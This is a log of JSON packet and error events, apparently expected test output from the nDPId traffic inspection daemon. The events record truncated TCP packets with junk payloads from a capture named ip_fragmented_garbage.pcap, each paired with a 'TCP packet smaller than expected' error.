-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3625,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhakAGREcKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3626,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028043941} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3626,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbEAGREUKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3627,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028043953} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3627,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbkAGREMKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3628,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028043964} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3628,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhcEAGREEKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3629,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028043976} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3629,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhckAGRD8KAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3630,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028043989} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3630,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdEAGRD0KAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3631,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044001} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3631,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3632,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044015} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3632,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3633,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044029} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3633,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3634,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044045} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3634,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAktJSkhHRkQyKiZERkdISks="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3635,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044059} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3635,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3636,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044071} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3636,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3637,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044084} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3637,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3638,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044092} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3638,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3639,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044100} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3639,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3640,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044107} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3640,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3641,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044115} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3641,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3642,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044122} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3642,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3643,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044135} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3643,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3644,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044149} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3644,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3645,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044161} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3645,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3646,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044173} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3646,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAiZERkdISksmXiUkIyNFVFI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3647,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044214} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3647,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3648,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044222} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3648,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3649,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044236} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3649,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3650,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044248} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3650,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3651,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044261} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3651,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3652,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044273} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3652,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3653,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044285} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3653,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3654,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044296} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3654,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3655,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044308} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3655,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3656,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044319} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3656,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3657,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044331} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3657,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3658,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044343} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3658,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3659,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044354} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3659,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3660,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044369} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3660,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3661,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044381} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":3661,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhskAGQ\/8KAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3662,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044390} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":3662,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtEAGQ\/0KAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3663,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044403} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":3663,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtkAGQ\/sKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3664,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044415} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":3664,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhuEAGQ\/kKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3665,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044426} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":3665,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhukAGQ\/cKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3666,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044438} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":3666,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvEAGQ\/UKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3667,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044450} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":3667,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3668,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044461} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":3668,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3669,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044476} 